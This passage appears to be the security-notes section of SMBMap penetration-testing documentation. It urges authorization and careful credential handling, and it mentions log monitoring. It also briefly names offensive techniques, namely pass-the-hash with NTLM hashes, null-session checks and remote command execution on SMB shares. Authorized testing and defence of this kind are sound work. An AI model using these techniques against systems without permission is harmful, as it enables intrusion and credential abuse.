Security Notes
Section titled “Security Notes”- Always obtain proper authorization before testing SMB shares
- Null sessions may be disabled on modern systems but still worth checking
- Pass-the-hash attacks require NTLM hash of user (not cleartext password)
- Command execution typically requires local admin or system access
- Monitor logs for SMBMap activity (Event ID 4625 for failed logins)
- Use VPN/proxies appropriately for remote engagements
- Credentials should be handled securely (use
-pwith caution in shell history)
